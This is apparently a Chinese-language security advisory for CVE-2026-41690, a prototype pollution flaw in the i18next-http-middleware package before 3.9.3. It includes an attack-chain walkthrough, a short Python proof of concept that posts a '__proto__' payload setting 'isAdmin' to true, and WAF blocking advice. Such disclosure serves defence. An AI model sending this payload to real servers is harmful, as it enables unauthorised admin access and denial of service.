IPBUF安全漏洞报告
English
CVE-2026-41690 CVSS 8.6 高危

CVE-2026-41690 i18next-http-middleware原型污染漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41690
漏洞类型
原型污染
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
i18next-http-middleware

相关标签

原型污染Node.jsRCEi18next-http-middleware权限绕过

漏洞概述

i18next-http-middleware 是一个用于 Node.js Web 框架(如 Express 或 Fastify)以及 Deno 的中间件。在 3.9.3 版本之前,该中间件存在原型污染漏洞。未经身份验证的攻击者可以通过 `getResourcesHandler` 和 `missingKeyHandler` 两个未经验证的入口点,向托管该中间件的 Node.js 进程中的 `Object.prototype` 注入恶意属性。此漏洞可能导致授权检查失效(例如使任何用户的 `user.isAdmin` 返回 true)、类型混淆拒绝服务,甚至在特定条件下被利用链进一步组合导致远程代码执行(RCE)。

技术细节

该漏洞源于 i18next-http-middleware 在处理特定 HTTP 请求时,未能有效过滤用户提供的输入数据,导致攻击者可以通过 `getResourcesHandler` 和 `missingKeyHandler` 这两个入口点触发不安全的对象属性赋值。由于 JavaScript 的原型继承机制,攻击者可以通过发送包含 `__proto__` 或 `constructor.prototype` 等特殊键的恶意 JSON 数据,修改 `Object.prototype` 对象。一旦原型被污染,所有在该 Node.js 进程中创建的 JavaScript 对象都将继承被注入的恶意属性。这种机制常被用于绕过安全检查,例如将 `isAdmin` 属性注入原型,使得 `if (user.isAdmin)` 这样的权限校验逻辑失效,从而让未授权用户获得管理员权限。此外,攻击者还可以利用类型混淆导致应用程序崩溃(DoS),或在满足特定条件下,结合其他漏洞链实现远程代码执行(RCE),从而完全控制服务器。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标网站使用了存在漏洞的 i18next-http-middleware 版本(< 3.9.3)。
STEP 2
步骤2:构建恶意载荷
攻击者构造包含 `__proto__` 或 `constructor` 键的恶意 JSON 数据,旨在污染 JavaScript 的全局原型对象。
STEP 3
步骤3:发送漏洞利用请求
攻击者向 `getResourcesHandler` 或 `missingKeyHandler` 接口发送特制的 HTTP 请求,将恶意载荷注入到应用上下文中。
STEP 4
步骤4:触发原型污染
服务器端处理请求时,将恶意属性合并到 `Object.prototype`,导致所有新对象继承这些属性。
STEP 5
步骤5:权限提升或RCE
利用污染的原型属性绕过身份验证(如 `user.isAdmin` 变为真),或进一步利用逻辑缺陷导致远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # POC for CVE-2026-41690 # Targeting the getResourcesHandler or missingKeyHandler entry points target_url = "http://localhost:3000/locales/en/translation" # Example endpoint # Malicious payload designed to pollute Object.prototype # This attempts to inject a property into the prototype chain payload = { "lng": "en", "ns": "translation", # The specific key depends on implementation, often merging user input directly # Sending a JSON object with __proto__ key "__proto__": { "polluted": True, "isAdmin": True } } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") # Verification logic would typically run on the server side # checking if ({}).polluted returns true print("[+] If vulnerable, Object.prototype has been polluted.") except Exception as e: print(f"[-] Error: {e}")

影响范围

i18next-http-middleware < 3.9.3

防御指南

临时缓解措施
如果无法立即升级,建议在 Web 应用防火墙(WAF)或 API 网关处实施严格的输入验证规则,拦截请求体或参数中包含 `__proto__`、`constructor` 或 `prototype` 字符串的流量。同时,开发人员应审查代码,确保在合并用户输入到对象时,使用 `Object.create(null)` 创建无原型对象,或者显式检查并拒绝这些危险属性,以阻断污染链。

参考链接